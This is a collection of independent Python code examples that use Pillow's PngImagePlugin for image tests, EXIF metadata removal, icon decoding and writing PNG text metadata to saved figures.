Ejemplo n.º 1
0
    def test_roundtrip_itxt(self):
        # Check iTXt roundtripping

        im = Image.new("RGB", (32, 32))
        info = PngImagePlugin.PngInfo()
        info.add_itxt("spam", "Eggs", "en", "Spam")
        info.add_text("eggs", PngImagePlugin.iTXt("Spam", "en", "Eggs"), zip=True)

        im = roundtrip(im, pnginfo=info)
        self.assertEqual(im.info, {"spam": "Eggs", "eggs": "Spam"})
        self.assertEqual(im.text, {"spam": "Eggs", "eggs": "Spam"})
        self.assertEqual(im.text["spam"].lang, "en")
        self.assertEqual(im.text["spam"].tkey, "Spam")
        self.assertEqual(im.text["eggs"].lang, "en")
        self.assertEqual(im.text["eggs"].tkey, "Eggs")
Ejemplo n.º 2
0
    def test_invalid_file(self):
        invalid_file = "Tests/images/flower.jpg"

        with pytest.raises(SyntaxError):
            PngImagePlugin.PngImageFile(invalid_file)
Ejemplo n.º 3
0
    def test_invalid_file(self):
        invalid_file = "Tests/images/flower.jpg"

        self.assertRaises(SyntaxError,
                          lambda: PngImagePlugin.PngImageFile(invalid_file))
Ejemplo n.º 4
0
def remove_image_metadata(filename: Path) -> None:
	"""
	Remove exif metadata from an image.

	INPUTS
	filename: A filename of an image

	OUTPUTS
	None.
	"""

	if filename.suffix == ".xcf" or filename.suffix == ".svg":
		# Skip GIMP XCF and SVG files
		return

	if filename.suffix == ".jpg":
		# JPEG images are lossy, and PIL will recompress them on save.
		# Instead of using PIL, read the byte stream and remove all metadata that way.
		# Inspired by https://github.com/hMatoba/Piexif
		with open(filename, "rb+") as file:
			jpeg_data = file.read()

			if jpeg_data[0:2] != b"\xff\xd8":
				raise se.InvalidFileException(f"Invalid JPEG file: [path][link=file://{filename.resolve()}]{filename}[/].")

			exif_segments = []
			head = 2

			# Get a list of metadata segments from the jpg
			while True:
				if jpeg_data[head: head + 2] == b"\xff\xda":
					break

				length = struct.unpack(">H", jpeg_data[head + 2: head + 4])[0]
				end_point = head + length + 2
				seg = jpeg_data[head: end_point]
				head = end_point

				if head >= len(jpeg_data):
					raise se.InvalidFileException(f"Invalid JPEG file: [path][link=file://{filename.resolve()}]{filename}[/].")

				# See https://www.disktuna.com/list-of-jpeg-markers/
				# and https://exiftool.org/TagNames/JPEG.html
				# These are the 15 "app" segments, EXCEPT app 14, as well as the "comment" segment.
				# This mirrors what exiftool does.
				metadata_segments = [b"\xff\xe1", b"\xff\xe2", b"\xff\xe3", b"\xff\xe4", b"\xff\xe5",
							b"\xff\xe6", b"\xff\xe7", b"\xff\xe8", b"\xff\xe9", b"\xff\xea",
							b"\xff\xeb", b"\xff\xec", b"\xff\xed", b"\xff\xef",
							b"\xff\xfe"]

				if seg[0:2] in metadata_segments:
					exif_segments.append(seg)

			# Now replace those segments with nothing
			for segment in exif_segments:
				jpeg_data = jpeg_data.replace(segment, b"")

			file.seek(0)
			file.write(jpeg_data)
			file.truncate()
	else:
		# PNG and other image types we expect are lossless so we can use PIL to remove metadata
		try:
			image = Image.open(filename)
		except UnidentifiedImageError as ex:
			raise se.InvalidFileException(f"Couldn’t identify image type of [path][link=file://{filename.resolve()}]{filename}[/].") from ex

		data = list(image.getdata())

		image_without_exif = Image.new(image.mode, image.size)
		image_without_exif.putdata(data)

		if image.format == "PNG":
			# Some metadata, like chromaticity and gamma, are useful to preserve in PNGs
			new_exif = PngImagePlugin.PngInfo()
			for key, value in image.info.items():
				if key.lower() == "gamma":
					new_exif.add(b"gAMA", struct.pack("!1I", int(value * 100000)))
				elif key.lower() == "chromaticity":
					new_exif.add(b"cHRM", struct.pack("!8I", \
							int(value[0] * 100000), \
							int(value[1] * 100000), \
							int(value[2] * 100000), \
							int(value[3] * 100000), \
							int(value[4] * 100000), \
							int(value[5] * 100000), \
							int(value[6] * 100000), \
							int(value[7] * 100000)))

			image_without_exif.save(filename, optimize=True, pnginfo=new_exif)
		elif image.format == "TIFF":
			# For some reason, when saving as TIFF we have to cast filename to str() otherwise
			# the save driver throws an exception
			image_without_exif.save(str(filename), compression="tiff_adobe_deflate")
		else:
			image_without_exif.save(str(filename))
Ejemplo n.º 5
0
    def test_getchunks(self):
        im = hopper()

        chunks = PngImagePlugin.getchunks(im)
        self.assertEqual(len(chunks), 3)
Ejemplo n.º 6
0
    def frame(self, idx):
        """
        Get an image from frame idx
        """

        header = self.entry[idx]

        self.buf.seek(header['offset'])
        data = self.buf.read(8)
        self.buf.seek(header['offset'])

        if data[:8] == PngImagePlugin._MAGIC:
            # png frame
            im = PngImagePlugin.PngImageFile(self.buf)
        else:
            # XOR + AND mask bmp frame
            im = BmpImagePlugin.DibImageFile(self.buf)

            # change tile dimension to only encompass XOR image
            im.size = (im.size[0], int(im.size[1] / 2))
            d, e, o, a = im.tile[0]
            im.tile[0] = d, (0, 0) + im.size, o, a

            # figure out where AND mask image starts
            mode = a[0]
            bpp = 8
            for k in BmpImagePlugin.BIT2MODE.keys():
                if mode == BmpImagePlugin.BIT2MODE[k][1]:
                    bpp = k
                    break

            if 32 == bpp:
                # 32-bit color depth icon image allows semitransparent areas
                # PIL's DIB format ignores transparency bits, recover them.
                # The DIB is packed in BGRX byte order where X is the alpha
                # channel.

                # Back up to start of bmp data
                self.buf.seek(o)
                # extract every 4th byte (eg. 3,7,11,15,...)
                alpha_bytes = self.buf.read(im.size[0] * im.size[1] * 4)[3::4]

                # convert to an 8bpp grayscale image
                mask = Image.frombuffer(
                    'L',  # 8bpp
                    im.size,  # (w, h)
                    alpha_bytes,  # source chars
                    'raw',  # raw decoder
                    ('L', 0, -1)  # 8bpp inverted, unpadded, reversed
                )
            else:
                # get AND image from end of bitmap
                w = im.size[0]
                if (w % 32) > 0:
                    # bitmap row data is aligned to word boundaries
                    w += 32 - (im.size[0] % 32)

                # the total mask data is
                # padded row size * height / bits per char

                and_mask_offset = o + int(im.size[0] * im.size[1] *
                                          (bpp / 8.0))
                total_bytes = int((w * im.size[1]) / 8)

                self.buf.seek(and_mask_offset)
                maskData = self.buf.read(total_bytes)

                # convert raw data to image
                mask = Image.frombuffer(
                    '1',  # 1 bpp
                    im.size,  # (w, h)
                    maskData,  # source chars
                    'raw',  # raw decoder
                    ('1;I', int(w / 8), -1)  # 1bpp inverted, padded, reversed
                )

                # now we have two images, im is XOR image and mask is AND image

            # apply mask image as alpha channel
            im = im.convert('RGBA')
            im.putalpha(mask)

        return im
Ejemplo n.º 7
0
    def create_images():
        # actual image color: 255,0,0
        img = Image.new("RGB", (100, 20), color='red')
        text = ImageDraw.Draw(img)
        text.text((10, 10), "Hello World", fill=(0, 0, 0))
        image_wmeta = 'image_wmeta'

        # thumbnail color: 0,0,255
        o = io.BytesIO()
        secret_thumbnail = Image.new("RGB", (120, 20), color='blue')
        text = ImageDraw.Draw(secret_thumbnail)
        text.text((10, 10), "secret thumbnail", fill=(0, 0, 0))
        # transform it to bytes
        secret_thumbnail.save(o, "jpeg")
        secret_exif_thumbnail = o.getvalue()
        secret_thumbnail.close()

        # forbidden image_extension
        img.save(forbidden_img, "tiff")
        # bmp doesn't contain critical meta information
        img.save(image_wmeta + "_bmp" + '.bmp')

        # for some reasons some of these values don't match the relative specification:
        # rational numbers are separated at the comma, f.e. 13.37 is represented by [(13), (37)]
        # http://www.cipa.jp/std/documents/e/DC-008-2012_E.pdf#page=47 ...
        # http://www.cipa.jp/std/documents/e/DC-008-2012_E.pdf#page=87
        jpg_exif = {
            "0th": {
                piexif.ImageIFD.ImageDescription: u"description",
                piexif.ImageIFD.StripOffsets: 3,
                piexif.ImageIFD.Artist: u"artist",
                piexif.ImageIFD.Copyright: u"copyright holder",
                piexif.ImageIFD.DateTime: u"2012:01:08 10:09:01",
            },
            "Exif": {
                piexif.ExifIFD.DateTimeOriginal: u"2016:08:07 13:37:10",
                piexif.ExifIFD.DateTimeDigitized: u"2015:03:07 14:20:30",
                piexif.ExifIFD.OffsetTime: u"2017:05:09 08:04:04",
                piexif.ExifIFD.OffsetTimeOriginal: u"2017:04:12 18:15:00",
                piexif.ExifIFD.OffsetTimeDigitized: u"2016:02:10 11:10:03",
                piexif.ExifIFD.SubSecTime: u"2017:09:04 10:03:10",
                piexif.ExifIFD.SubSecTimeOriginal: u"2019:10:03 10:03:10",
                piexif.ExifIFD.SubSecTimeDigitized: u"2013:10:03 10:03:10",
                piexif.ExifIFD.CameraOwnerName: u"Cameraname",
                piexif.ExifIFD.BodySerialNumber: u"body serialnumber",
                piexif.ExifIFD.LensSerialNumber: u"lens serialnumber",
                piexif.ExifIFD.UserComment: b"secret comment",
            },
            "GPS": {
                piexif.GPSIFD.GPSLatitudeRef: u"N",
                piexif.GPSIFD.GPSLatitude: [(10, 1), (20, 1), (0, 0)],
                piexif.GPSIFD.GPSLongitudeRef: u"W",
                piexif.GPSIFD.GPSLongitude: [(10, 1), (20, 1), (0, 0)],
                piexif.GPSIFD.GPSAltitudeRef: 0,
                piexif.GPSIFD.GPSAltitude: (200, 1),
                piexif.GPSIFD.GPSTimeStamp: [(10), (3)],
                piexif.GPSIFD.GPSSatellites: u"satellites",
                piexif.GPSIFD.GPSStatus: u"A",
                piexif.GPSIFD.GPSMeasureMode: u"3",
                piexif.GPSIFD.GPSDOP: [(1), (4)],
                piexif.GPSIFD.GPSSpeedRef: u"K",
                piexif.GPSIFD.GPSSpeed: [(42), (10)],
                piexif.GPSIFD.GPSTrackRef: u"T",
                piexif.GPSIFD.GPSTrack: [(21), (123)],
                piexif.GPSIFD.GPSImgDirectionRef: u"T",
                piexif.GPSIFD.GPSImgDirection: [(10), (12)],
                piexif.GPSIFD.GPSMapDatum: u"today",
                piexif.GPSIFD.GPSDestLatitudeRef: u"N",
                piexif.GPSIFD.GPSDestLatitude: [(8, 1), (30, 1), (0, 0)],
                piexif.GPSIFD.GPSDestLongitudeRef: u"E",
                piexif.GPSIFD.GPSDestLongitude: [(8), (30)],
                piexif.GPSIFD.GPSDestBearingRef: u"T",
                piexif.GPSIFD.GPSDestBearing: [(1), (10)],
                piexif.GPSIFD.GPSDestDistanceRef: u"K",
                piexif.GPSIFD.GPSDestDistance: [(10), (3)],
                piexif.GPSIFD.GPSProcessingMethod: b"WLAN",
                piexif.GPSIFD.GPSAreaInformation: b"area",
                piexif.GPSIFD.GPSDateStamp: u"2015:10:03 10:03:10",
                piexif.GPSIFD.GPSDifferential: 1,
                piexif.GPSIFD.GPSHPositioningError: [(2), (0)],
            },
            "1st": {
                piexif.ImageIFD.ImageDescription: u"description",
                piexif.ImageIFD.StripOffsets: 3,
                piexif.ImageIFD.Artist: u"artist",
                piexif.ImageIFD.Copyright: u"copyright holder",
                piexif.ImageIFD.DateTime: u"2013:10:03 10:03:10",
            },
            "thumbnail": secret_exif_thumbnail
        }

        png_dict = {
            "ImageDescription": u"description",
            "StripOffsets": "3",
            "Artist": u"artist",
            "Copyright": u"copyright holder",
            "DateTime": u"2012:01:08 10:09:01",
            "DateTimeOriginal": u"2016:08:07 13:37:10",
            "DateTimeDigitized": u"2015:03:07 14:20:30",
            "OffsetTime": u"2017:05:09 08:04:04",
            "OffsetTimeOriginal": u"2017:04:12 18:15:00",
            "OffsetTimeDigitized": u"2016:02:10 11:10:03",
            "SubSecTime": u"2017:09:04 10:03:10",
            "SubSecTimeOriginal": u"2019:10:03 10:03:10",
            "SubSecTimeDigitized": u"2013:10:03 10:03:10",
            "CameraOwnerName": u"Cameraname",
            "BodySerialNumber": u"body serialnumber",
            "LensSerialNumber": u"lens serialnumber",
            "UserComment": b"secret comment",
            "GPSLatitudeRef": u"N",
            "GPSLatitude": "3 deg 20' 0.00",
            "GPSLongitudeRef": u"W",
            "GPSLongitude": "3 deg 20.1' 0.00",
            "GPSAltitudeRef": "0",
            "GPSAltitude": "200 m Above Sea Level",
            "GPSTimeStamp": "03:19:59.999999",
            "GPSSatellites": u"satellites",
            "GPSStatus": u"A",
            "GPSMeasureMode": u"3",
            "GPSSpeedRef": u"K",
            "GPSSpeed": "4.2",
            "GPSTrackRef": u"T",
            "GPSTrack": "0.1707317073",
            "GPSImgDirectionRef": u"T",
            "GPSImgDirection": "0.6333333333",
            "GPSMapDatum": u"today",
            "GPSDestLatitudeRef": u"N",
            "GPSDestLatitude": "3 deg 30' 0.00",
            "GPSDestLongitudeRef": u"E",
            "GPSDestLongitude": "0 deg 16' 0.00",
            "GPSDestBearingRef": u"T",
            "GPSDestBearing": "0.1",
            "GPSDestDistanceRef": u"K",
            "GPSDestDistance": "3.333333333",
            "GPSProcessingMethod": b"WLAN",
            "GPSAreaInformation": b"area",
            "GPSDateStamp": u"2015:10:03 10:03:10",
            "GPSDifferential": "1",
            "ImageDescription": u"description",
            "StripOffsets": "3",
            "Artist": u"artist",
            "Copyright": u"copyright holder",
            "DateTime": u"2013:10:03 10:03:10",
        }

        # jpg with exif
        img.save(image_wmeta + '_jpg' + '.jpg', exif=piexif.dump(jpg_exif))
        # copy jpg to jpe, jpeg
        copyfile(image_wmeta + '_jpg' + '.jpg', image_wmeta + '_jpe' + '.jpe')
        copyfile(image_wmeta + '_jpg' + '.jpg',
                 image_wmeta + '_jpeg' + '.jpeg')

        # png exif-part
        png_info = PngImagePlugin.PngInfo()
        # copy png metadata
        for k, v in png_dict.items():
            png_info.add_text(k, v, 0)
        img.save(image_wmeta + '_png' + '.png', "PNG", pnginfo=png_info)

        img.save(image_wmeta + '_gif' + '.gif')
        img.close()

        # xmp for gif and png
        xmp = XMPMeta()
        xmp.append_array_item(consts.XMP_NS_DC, 'secret', 'secret information',
                              {
                                  'prop_array_is_ordered': True,
                                  'prop_value_is_array': True
                              })

        # gif xmp
        gif_image = XMPFiles(file_path=image_wmeta + '_gif' + ".gif",
                             open_forupdate=True)
        gif_image.put_xmp(xmp)
        gif_image.close_file()

        # png part 2
        png_image = XMPFiles(file_path=image_wmeta + '_png' + ".png",
                             open_forupdate=True)
        png_image.put_xmp(xmp)
        png_image.close_file()

        return ((image_wmeta + '_' + suffix + "." + suffix)
                for suffix in ALLOWED_IMG_EXTENSIONS)
Ejemplo n.º 8
0
 def addFlag(self, flag):
     meta = PngImagePlugin.PngInfo()
     meta.add_text("additionalInfo", flag)
     self.flag = meta
Ejemplo n.º 9
0
def load_icon(file, index=None):
    '''
    Load Windows ICO image.

    See http://en.wikipedia.org/w/index.php?oldid=264332061 for file format
    description.
    '''
    if isinstance(file, basestring):
        file = open(file, 'rb')

    header = struct.unpack('<3H', file.read(6))

    # Check magic
    if header[:2] != (0, 1):
        raise SyntaxError('Not an ICO file')

    # Collect icon directories
    directories = []
    for i in xrange(header[2]):
        directory = list(struct.unpack('<4B2H2I', file.read(16)))
        for j in xrange(3):
            if not directory[j]:
                directory[j] = 256

        directories.append(directory)

    if index is None:
        # Select best icon
        directory = max(directories, key=operator.itemgetter(slice(0, 3)))
    else:
        directory = directories[index]

    # Seek to the bitmap data
    file.seek(directory[7])

    prefix = file.read(16)
    file.seek(-16, 1)

    if PngImagePlugin._accept(prefix):
        # Windows Vista icon with PNG inside
        image = PngImagePlugin.PngImageFile(file)
    else:
        # Load XOR bitmap
        image = BmpImagePlugin.DibImageFile(file)
        if image.mode == 'RGBA':
            # Windows XP 32-bit color depth icon without AND bitmap
            pass
        else:
            # Patch up the bitmap height
            image.size = image.size[0], image.size[1] >> 1
            d, e, o, a = image.tile[0]
            image.tile[0] = d, (0, 0) + image.size, o, a

            # Calculate AND bitmap dimensions. See
            # http://en.wikipedia.org/w/index.php?oldid=264236948#Pixel_storage
            # for description
            offset = o + a[1] * image.size[1]
            stride = ((image.size[0] + 31) >> 5) << 2
            size = stride * image.size[1]

            # Load AND bitmap
            file.seek(offset)
            string = file.read(size)
            mask = Image.fromstring('1', image.size, string, 'raw',
                                    ('1;I', stride, -1))

            image = image.convert('RGBA')
            image.putalpha(mask)

    return image
Ejemplo n.º 10
0
def writeMetadate(filename, data, key='gb_params'):
    im = Image.open(filename)
    meta = PngImagePlugin.PngInfo()
    json_data = json.dumps(data)
    meta.add_text(key, json_data)
    im.save(filname, "PNG", pnginfo=meta)
def get_disp_and_uncertainty(
    filenames,
    use_filtering,
    v_threshold,
    max_v_fail,
    fbc_threshold,
    min_fbc_pass,
    range_threshold,
):
    for i, filename in enumerate(filenames):
        print(f"{i + 1} / {len(filenames)}: {filename}")

        # read flow
        u_fw, v_fw = read_flow("flow_forward/" + filename + ".flo")
        u_bw, v_bw = read_flow("flow_backward/" + filename + ".flo")

        if use_filtering:
            check_v_fw = abs(v_fw) > v_threshold
            v_fail_fw = 1.0 * np.count_nonzero(check_v_fw) / v_fw.size

            if v_fail_fw >= max_v_fail:
                print("v_fail_fw too large")
                continue

            check_v_bw = abs(v_bw) > v_threshold
            v_fail_bw = 1.0 * np.count_nonzero(check_v_bw) / v_bw.size

            if v_fail_bw >= max_v_fail:
                print("v_fail_bw too large")
                continue

            range_fw = u_fw.max() - u_fw.min()

            if range_fw <= range_threshold:
                print("range_u_fw too small")
                continue

            range_bw = u_bw.max() - u_bw.min()

            if range_bw <= range_threshold:
                print("range_u_bw too small")
                continue

        # compute uncertainty and disparity
        ind_y, ind_x = np.indices(u_fw.shape, dtype=np.float32)
        y_map = ind_y
        x_map = ind_x + u_fw

        flow_flipped_and_warped = cv2.remap(
            -u_bw,
            x_map,
            y_map,
            interpolation=cv2.INTER_LINEAR,
            borderMode=cv2.BORDER_REPLICATE,
        )

        uncertainty = abs(u_fw - flow_flipped_and_warped)

        if use_filtering:
            valid = uncertainty < fbc_threshold
            fbc_pass = 1.0 * np.count_nonzero(valid) / uncertainty.size

            if fbc_pass <= min_fbc_pass:
                print("fbc_pass too small")
                continue

        disp = -u_fw

        # downsample disparity and uncertainty
        downscaling = 0.5

        disp = cv2.resize(
            disp, None, fx=downscaling, fy=downscaling, interpolation=cv2.INTER_LINEAR
        )

        disp = disp * downscaling

        uncertainty = cv2.resize(
            uncertainty,
            None,
            fx=downscaling,
            fy=downscaling,
            interpolation=cv2.INTER_LINEAR,
        )

        uncertainty = uncertainty * downscaling

        # quantize disparity and uncertainty
        disp_max = disp.max()
        disp_min = disp.min()

        if disp_max - disp_min > 0:
            disp = np.round((disp - disp_min) / (disp_max - disp_min) * 65535).astype(
                np.uint16
            )

            scale = 1.0 * (disp_max - disp_min) / 65535
            offset = disp_min
        else:
            disp = (0 * disp).astype(np.uint16)

            offset = disp_min
            scale = 1.0

        meta = PngImagePlugin.PngInfo()
        meta.add_text("offset", str(offset))
        meta.add_text("scale", str(scale))

        uncertainty = (10 * uncertainty).round()
        uncertainty[uncertainty > 255] = 255

        # save disparity and uncertainty
        disp_name = "disparity/" + filename + ".png"

        if not os.path.exists(os.path.dirname(disp_name)):
            os.makedirs(os.path.dirname(disp_name))

        imageio.imwrite(disp_name, disp, pnginfo=meta, prefer_uint8=False)

        uncertainty_name = "uncertainty/" + filename + ".png"

        if not os.path.exists(os.path.dirname(uncertainty_name)):
            os.makedirs(os.path.dirname(uncertainty_name))

        imageio.imwrite(uncertainty_name, uncertainty.astype(np.uint8))
Ejemplo n.º 12
0
def picturesave(savename,
                directory='./',
                meta=None,
                extras=[],
                backup=False,
                dpi=300,
                form='png',
                version=False,
                pdf=False,
                tight=True,
                pad_inches=0,
                figure_held=None,
                loud=True,
                redacted=False):
    """
	Function which saves the global matplotlib figure without overwriting.
	!Note that saving tuples get converted to lists in the metadata so if you notice that your plotter is not 
	overwriting then this is probably why.
	"""
    #! amazing bug: if you keep a comma after meta it makes it a tuple and then there must be a
    #!   one-way conversion to dict when it is written to the metadata of the image and this causes
    #!   the figure counts to keep increasing no matter what. a very subtle error! corrected below
    if type(meta) == tuple:
        if len(meta) != 1 or type(meta[0]) != dict:
            raise Exception('meta must be a dict')
        else:
            meta = meta[0]
    #---automatically share images with group members (note that you could move this to config)
    os.umask(0o002)
    #---earlier import allows users to set Agg so we import here, later
    import matplotlib as mpl
    import matplotlib.pyplot as plt
    #---intervene here to check the wordspace for picture-saving "hooks" that apply to all new pictures
    #---! is it necessary to pass the workspace here?
    if 'work' in globals() and 'picture_hooks' in work.metadata.variables:
        extra_meta = work.metadata.variables['picture_hooks']
        #---redundant keys are not allowed: either they are in picture_hooks or passed to picturesave
        redundant_extras = [i for i in extra_meta if i in meta]
        if any(redundant_extras):
            raise Exception(
                'keys "%r" are incoming via meta but are already part of picture_hooks'
                % redundant_extras)
    #---redacted figures have blurred labels
    if redacted:
        directory_redacted = os.path.join(directory, 'REDACTED')
        if not os.path.isdir(directory_redacted): os.mkdir(directory_redacted)
        directory = directory_redacted
        status('you have requested redacted figures, so they are saved to %s' %
               directory,
               tag='warning')
        import random
        color_back = work.metadata.director.get('redacted_background_color',
                                                '')
        color_fore = work.metadata.director.get('redacted_foreground_color',
                                                'k')
        if 'redacted_scrambler' in work.metadata.director:
            scrambler_code = work.metadata.director['redacted_scrambler']
            try:
                scrambler = eval(scrambler_code)
                scrambler('test text')
            except:
                raise Exception(
                    'failed to evaluate your `redacted_scrambler` from the director: `%s`'
                    % scrambler_code)
        else:
            #! method below is deprecated because it looks silly. best to use hashes
            if False:
                scrambler = lambda x, max_len=12: ''.join(
                    [chr(ord('a') + random.randint(0, 25))
                     for i in x][:max_len])
            scrambler = lambda x, max_len=10: ('#' * len(x))[:max_len]
        num_format = re.compile("^[\-]?[1-9][0-9]*\.?[0-9]+$")
        isnumber = lambda x: re.match(num_format, x)
        for obj in [i for i in plt.findobj() if type(i) == mpl.text.Text]:
            text_this = obj.get_text()
            if text_this != '' and not isnumber(text_this):
                obj.set_text(scrambler(text_this))
                if color_back: obj.set_backgroundcolor(color_back)
                obj.set_color(color_fore)
    #---if version then we choose savename based on the next available index
    if version:
        #---check for this meta
        search = picturefind(savename,
                             directory=directory,
                             meta=meta,
                             loud=loud)
        if not search:
            if meta == None:
                raise Exception('[ERROR] versioned image saving requires meta')
            fns = glob.glob(os.path.join(directory, savename + '.v*'))
            nums = [
                int(re.findall('^.+\.v([0-9]+)\.png', fn)[0]) for fn in fns
                if re.match('^.+\.v[0-9]+\.png', fn)
            ]
            ind = max(nums) + 1 if nums != [] else 1
            savename += '.v%d' % ind
        else:
            savename = re.findall('(.+)\.[a-z]+', os.path.basename(search))[0]
    #---backup if necessary
    savename += '.' + form
    base_fn = os.path.join(directory, savename)
    if loud: status('saving picture to %s' % savename, tag='store')
    if os.path.isfile(base_fn) and backup:
        for i in range(1, 100):
            latestfile = '.'.join(base_fn.split('.')[:-1]) + '.bak' + (
                '%02d' % i) + '.' + base_fn.split('.')[-1]
            if not os.path.isfile(latestfile): break
        if i == 99 and os.path.isfile(latestfile):
            raise Exception('except: too many copies')
        else:
            if loud:
                status('backing up ' + base_fn + ' to ' + latestfile,
                       tag='store')
            os.rename(base_fn, latestfile)
    #---intervene to use the PDF backend if desired
    #---...this is particularly useful for the hatch-width hack
    #---...(search self.output(0.1, Op.setlinewidth) in
    #---...python2.7/site-packages/matplotlib/backends/backend_pdf.py and raise it to e.g. 3.0)
    if pdf and form != 'png':
        raise Exception('can only use PDF conversion when writing png')
    elif pdf:
        alt_name = re.sub('.png$', '.pdf', savename)
        #---holding the figure allows other programs e.g. ipython notebooks to show and save the figure
        (figure_held if figure_held else plt).savefig(
            alt_name,
            dpi=dpi,
            bbox_extra_artists=extras,
            bbox_inches='tight' if tight else None,
            pad_inches=pad_inches if pad_inches else None,
            format=form)
        #---convert pdf to png
        os.system('convert -density %d %s %s' % (dpi, alt_name, base_fn))
        os.remove(alt_name)
    else:
        (figure_held if figure_held else plt).savefig(
            base_fn,
            dpi=dpi,
            bbox_extra_artists=extras,
            bbox_inches='tight' if tight else None,
            pad_inches=pad_inches if pad_inches else None,
            format=form)
    plt.close()
    #---add metadata to png
    if form == 'png' and meta != None:
        im = Image.open(base_fn)
        imgmeta = PngImagePlugin.PngInfo()
        imgmeta.add_text('meta', json.dumps(meta))
        im.save(base_fn, form, pnginfo=imgmeta)
    else:
        print(
            '[WARNING] you are saving as %s and only png allows metadata-versioned pictures'
            % form)
    return base_fn
Ejemplo n.º 13
0
            directories.append(directory)

        if index is None:
            # Select best icon
            directory = max(directories, key=operator.itemgetter(slice(0, 3)))
        else:
            directory = directories[index]

        # Seek to the bitmap data
        image_file.seek(directory[7])

        prefix = image_file.read(16)
        image_file.seek(-16, 1)

        if PngImagePlugin._accept(prefix):
            # Windows Vista icon with PNG inside
            try:
                image = PngImagePlugin.PngImageFile(image_file)
            except IOError:
                return
        else:
            # Load XOR bitmap
            try:
                image = BmpImagePlugin.DibImageFile(image_file)
            except IOError:
                return
            if image.mode == 'RGBA':
                # Windows XP 32-bit color depth icon without AND bitmap
                pass
            else:
Ejemplo n.º 14
0
    def save_figure(self, filepath, filename, plotfig=None, timestamp=None):
        # --------------------------------------------------------------------------------------------
        # Save thumbnail figure of plot
        if plotfig is not None:
            # create Metadata
            metadata = dict()
            metadata[
                'Title'] = 'Image produced by qudi-hira: ' + self.module_name
            metadata['Author'] = 'qudi-hira - Software Suite'
            metadata[
                'Subject'] = 'Find more information on: https://github.com/projecthira/qudi-hira'
            metadata[
                'Keywords'] = 'Python 3, Qt, experiment control, automation, measurement, software, framework, modular'
            metadata['Producer'] = 'qudi - Software Suite'
            if timestamp is not None:
                metadata['CreationDate'] = timestamp
                metadata['ModDate'] = timestamp
            else:
                metadata['CreationDate'] = time
                metadata['ModDate'] = time

            if self.save_pdf:
                # determine the PDF-Filename
                fig_fname_vector = os.path.join(filepath,
                                                filename)[:-4] + '_fig.pdf'

                # Create the PdfPages object to which we will save the pages:
                # The with statement makes sure that the PdfPages object is closed properly at
                # the end of the block, even if an Exception occurs.
                with PdfPages(fig_fname_vector) as pdf:
                    pdf.savefig(plotfig, bbox_inches='tight', pad_inches=0.05)

                    # We can also set the file's metadata via the PdfPages object:
                    pdf_metadata = pdf.infodict()
                    for x in metadata:
                        pdf_metadata[x] = metadata[x]
                self.log.info(f'Image saved to: \n{fig_fname_vector}')

            if self.save_png:
                # determine the PNG-Filename and save the plain PNG
                fig_fname_image = os.path.join(filepath,
                                               filename)[:-4] + '_fig.png'
                plotfig.savefig(fig_fname_image,
                                bbox_inches='tight',
                                pad_inches=0.05)

                # Use Pillow (an fork for PIL) to attach metadata to the PNG
                png_image = Image.open(fig_fname_image)
                png_metadata = PngImagePlugin.PngInfo()

                # PIL can only handle Strings, so let's convert our times
                metadata['CreationDate'] = metadata['CreationDate'].strftime(
                    '%Y%m%d-%H%M-%S')
                metadata['ModDate'] = metadata['ModDate'].strftime(
                    '%Y%m%d-%H%M-%S')

                for x in metadata:
                    # make sure every value of the metadata is a string
                    if not isinstance(metadata[x], str):
                        metadata[x] = str(metadata[x])

                    # add the metadata to the picture
                    png_metadata.add_text(x, metadata[x])

                # save the picture again, this time including the metadata
                png_image.save(fig_fname_image, "png", pnginfo=png_metadata)
                self.log.info(f'Image saved to: \n{fig_fname_image}')

            # close matplotlib figure
            plt.close(plotfig)
Ejemplo n.º 15
0
def chunk(cid, *data):
    test_file = BytesIO()
    PngImagePlugin.putchunk(*(test_file, cid) + data)
    return test_file.getvalue()
Ejemplo n.º 16
0
def chunk(cid, *data):
    file = BytesIO()
    PngImagePlugin.putchunk(*(file, cid) + data)
    return file.getvalue()
Ejemplo n.º 17
0
    def graph(self, info: str = None, output=("plt", "excel")) -> str:
        """
        Graph the recorded statistics in a plt plot, in an excel spreadsheet or in an ssps compatible file.

        Args:
            output (Tuple[str]): the output formats to use.
            info(str): Additional notes for the plt plot. If None is passed the function will ask via input so if you don't want info, pass an empty string.

        Returns:
            str: folder name for output
        """
        compatible_out = ["plt", "excel", "spss"]
        e = False
        for ro in output:
            if ro not in compatible_out:
                e = True
                print(
                    "WARNING, output format {} is not supported, it will be skipped"
                    .format(ro))
        if e:
            print("We currently support " + str(compatible_out))

        if info is None:
            info = input("Enter additional information about the sim: ")

        titles = [
            "Number Of Agents", "Average Agent Mass",
            "Amount of Food Consumed", "Average Agent IQ", "Average Agent EQ",
            "Average breeding mass divider", "Average Agent Breed Chance",
            "Fight count relative to population size",
            "Help count relative to population size",
            "Ignore count relative to population size", "Number of groups",
            "Close family ration in group"
        ]

        values = [
            self.number_of_agents_OT, self.mass_OT, self.eat_OT, self.iq_OT,
            self.iq_OT, self.breed_mass_div_OT, self.breed_chance_OT,
            self.fight_OT, self.help_OT, self.nothing_OT,
            self.relative_groups_OT, self.close_family_in_group_OT
        ]
        extention = "png"
        fn = "graphs-0.3/" + self.get_fn()
        os.mkdir(fn)

        try:
            if "plt" in output:
                if len(titles) != len(values):
                    raise Exception(
                        "Error len of titles must match len of vars")

                fig, axs = plt.subplots(len(values),
                                        sharex='all',
                                        figsize=(20, 60))
                metadata = dict()
                for i in range(len(values)):
                    axs[i].plot(self.i_OT, values[i], linewidth=0.25)
                    axs[i].axes.set_ylim([0, max(values[i])])
                    axs[i].set_ylabel(titles[i])

                    metadata["Final" + titles[i]] = values[i][-1]

                axs[0].axes.set_xlim([0, self.dataPoints])
                axs[0].set_title(
                    "Simulation with {} initial agents and {} steps\nDate: {}\nNotes: {}\n\nStats:\n{}\n"
                    .format(len(self.agents), self.gcsteps,
                            time.strftime("%D"), info, self.stats()), )

                axs[-1].set_xlabel("Number Of Data Points")

                plt.tight_layout()
                plt.autoscale()

                pltfn = fn + "/plt." + extention
                fig.savefig(pltfn, bbox_inches='tight')  # save graph
                # add metadata:
                im = Image.open(pltfn)
                meta = PngImagePlugin.PngInfo()
                for x in metadata:
                    meta.add_text(x, str(metadata[x]))
                im.save(pltfn, extention, pnginfo=meta)
        except:
            print("error in generating plt file")
        transposed_data = []
        for i in range(self.dataPoints):
            transposed_data.append([j[i] for j in values])
        try:
            if "excel" in output:
                if len(values[0]) > 1048576:
                    print("to manny data points, skipping excel")
                else:
                    wb = openpyxl.Workbook(write_only=True)
